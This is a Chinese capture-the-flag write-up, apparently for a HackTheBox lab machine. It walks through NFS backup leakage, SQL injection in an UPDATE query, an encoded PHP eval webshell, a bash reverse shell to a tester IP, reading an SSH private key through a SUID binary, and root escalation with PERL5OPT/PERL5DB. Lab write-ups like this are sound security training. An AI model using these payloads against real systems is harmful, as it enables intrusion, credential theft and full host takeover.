信息搜集
nmap
1  | sudo nmap -p- -sT -min-rate 4000 10.10.11.232  | 
NSF泄露备份文件
2049/tcp  open  nfs
NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享,以通过showmount命令来列出目标机的共享目录,e参数显示NFS服务器的输出清单。
1  | ┌──(kali㉿kali)-[~]  | 
1  | 总计 64  | 
贴几个需要利用的文件
1  | #db_utils.php  | 
1  | #save_game.php  | 
1  | #export.php  | 
漏洞利用(update注入)
升级role
db_utils.php文件中的save_profile函数存在sql注入:update;
利用链:play.php ==> save_game.php ==> db_utils.php ==>save_profile
1  | function save_profile($player, $args) {  | 
:player 占位符表示一个玩家的用户名,它将在执行查询时被 $params 数组中对应的值所替换。这种做法可以确保 SQL 查询的安全性;但是$setStr没有使用占用符号;存在注入点;
并且$args变量是通过save_game.php文件的foreach($_GET as $key=>$value)函数,我们完全可以控制;即使在save_game.php文件对上传的GET参数的键值不能为role做了限制,也可以轻松绕过;
1  | if (strtolower($key) === 'role') {  | 
方法一
将role%3d"Admin"%23当作键值绕过检查,再用#注释后面的内容
1  | UPDATE players SET role="Admin"# WHERE username = :player  | 
1  | GET /save_game.php?clicks=0&level=0&role%3d"Admin"%23  | 
方法二
利用/**/绕过strtolower($key) === 'role'
1  | UPDATE players SET role/**/="Admin" WHERE username = :player  | 
1  | GET /save_game.php?clicks=0&level=0&role%2f%2a%2a%2f=Admin  | 
👆🐎
export.php中存在危险函数file_put_contents($filename, $s);,先来看看$filename是怎么来的,如下:
“exports/top_players_”加上8个随机字符,变量名为extension的post传参(这里没有对后缀做检查,可以修改后缀为php等);所以文件后缀是我们可以控制的;
1  | $filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];  | 
再来看看$s变量是怎么来的;当后缀不是txt,json时 
其中$currentplayer["nickname"],$currentplayer["clicks"] ,$currentplayer["level"];三个变量是我们可以控制的;
而$currentplayer["clicks"] ,$currentplayer["level"]的数据类型是数字,所以只能在nickname动手;
"nickname"的值也可以通过update注入来改变;
1  | GET /save_game.php?clicks=1000001&level=0&nickname=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%73%68%65%6c%6c%27%5d%29%3b%3f%3e  | 
在抓包将后缀改为php;extension=php

反弹shell
1  | POST:shell=system('%2Fbin%2Fbash%20-c%20%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.13%2F5555%200%3E%261%22');  | 
user_www-data
思路应该先去数据库里找敏感信息,找不到再搜集别的敏感信息;
1  | bash-5.1$ find / -perm -4000 2>/dev/null  | 
将jack用户的suid文件:/opt/manage/execute_query下载到本地查看
1  | main(){  | 
1  | /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < clean.sql  | 
这里有意思的是即使不是sql文件也可以读取;
1  | bash-5.1$ /opt/manage/execute_query 5 ../.ssh/id_rsa  | 
id_rsa 是 SSH 密钥文件的默认名称之一。在 SSH 密钥认证中,id_rsa 是私钥文件的默认名称,而 id_rsa.pub 是相应的公钥文件的默认名称。这些文件通常用于 SSH 客户端与服务器进行安全连接和身份验证。私钥文件(id_rsa)应该被妥善保管,而公钥文件(id_rsa.pub)通常被放置在需要进行身份验证的服务器上的 .ssh/authorized_keys 文件中。 SSH 密钥对通常用于替代传统的基于密码的身份验证,提供了更高的安全性。
这里读取的文件格式有点问题第一行和最后一行少了两个-符号,加上去,还需要将权限改成只读,否则不让连接:
1  | ┌──(kali㉿kali)-[~]  | 
改成只读就好了,再用ssh连接即可;
1  | chmod 400 id_rsa  | 
user_jack
提权
1  | -bash-5.1$ sudo -l  | 
1  | -bash-5.1$ cat /opt/monitor.sh  | 
其中;
1  | unset PERL5LIB;  | 
应该时为了预防通过更改这两个环境变量来进行攻击,这说明了里面有perl写的程序。应该是/usr/bin/xml_pp,但是除了两个环境变量是危险的,还有两个。
- **
PERL5OPT=-d**:这部分将PERL5OPT环境变量设置为d。在Perl中,d选项用于启动调试器,它允许您在代码执行过程中进行调试。通常情况下,这是一个合法的用法,用于在开发和调试Perl脚本时启用调试功能。 - **
PERL5DB='system("chmod u+s /bin/bash");'**:这部分将PERL5DB环境变量设置为一个Perl表达式。这个Perl表达式看起来是一个恶意的命令,它试图在Perl调试器环境中运行 **system("chmod u+s /bin/bash");**。这个命令的目的是在系统中为/bin/bash这个Shell程序设置了用户可执行的SUID(Set User ID)权限,这将使得任何用户都能以超级用户的权限运行 **/bin/bash**,这是非常危险和不安全的操作。 
大概意思是在执行perl程序时开启调试,然后再调试时运行**system("chmod u+s /bin/bash");** 
执行
1  | sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh  | 
1  | -bash-5.1$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh  | 
补充
升级shell命令
1  | script /dev/null -c++  | 
